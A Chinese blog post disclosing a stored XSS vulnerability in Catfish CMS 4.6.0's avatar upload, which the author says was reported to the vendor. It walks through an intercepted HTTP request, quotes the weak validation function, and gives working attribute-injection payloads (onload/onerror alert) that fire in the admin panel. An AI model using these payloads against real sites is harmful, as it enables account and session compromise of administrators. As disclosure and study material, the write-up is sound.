1. 程式人生 > 其它 >鯰魚CMS儲存XSS漏洞披露

鯰魚CMS儲存XSS漏洞披露

概述

Catfish(鯰魚) CMS是一款開源的PHP內容管理系統。這個cms是十月我和學長小鬍子一起審計的。所以在這裡宣告下,洞是他找的,他不善言辭,授權給我來寫文章。漏洞已提交給廠商,同意公開此漏洞。

XSS漏洞點

這裡的版本是V4.6.0。出問題的地方是頭像上傳這個地方,這個cms以前爆過一枚任意檔案刪除漏洞也是這裡。

  1. 先註冊一個普通使用者
  2. 登入,上傳一張頭像。
  3. 上傳成功後開啟抓包,點選“頭像儲存”。

抓到資料如下

修改

POST /daimashenji/CatfishCMS-4.6.0/index.php/user/index/touxiang.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 139
Referer: http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/index.php/user/index/touxiang.html
Cookie: think_var=zh-cn; PHPSESSID=uo2u29h3sf9er6bj9f3d36rj80
Connection: close
Upgrade-Insecure-Requests: 1

avatar=http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/022d804c4ea9af66c1a1f901d7c0b6a1.png" onload="alert(1)" a="1.jpg&fileselect%5B%5D=

回顯

管理員後臺瀏覽普通使用者管理

成功x到後臺!

相關程式碼跟進

CatfishCMS-4.6.0/application/admin/controller/Index.php頁面程式碼,96行

這個函式對傳入的avatar引數進行檢驗,繼續跟進

位於CatfishCMS-4.6.0/application/admin/controller/Common.php頁面,313行

 protected function isLegalPicture($picture)
    {
        if(stripos($picture,'>') === false)
        {
            $pathinfo = pathinfo($picture);
            if(isset($pathinfo['extension']))
            {
                if(in_array($pathinfo['extension'],['jpeg','jpg','png','gif']) && stripos($pathinfo['dirname'],'/data/') !== false)
                {
                    return true;
                }
            }
        }
        return false;
    }

三個限制:

  1. 引數不能含有 “>”
  2. 要以jpeg,jpg,png,gif 結尾
  3. 要含有 “/data/“ 路徑

觀察原來輸出點,是以雙引號進行閉合,觸發事件可以onload或者onerror或者其他,以.jpg結尾。所以我們payload為:

avatar=[http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/test.png](http://127.0.0.1/daimashenji/CatfishCMS-4.6.0/data/uploads/20171109/test.png)" onerror="alert(2)" a="1.jpg

一點感悟

最近看到大佬們在微博說的幾句: 如果某個地方爆出了洞,就可以往這個地方深挖。因為最後講道理程式會出問題不僅僅是程式碼的問題,而是人的問題。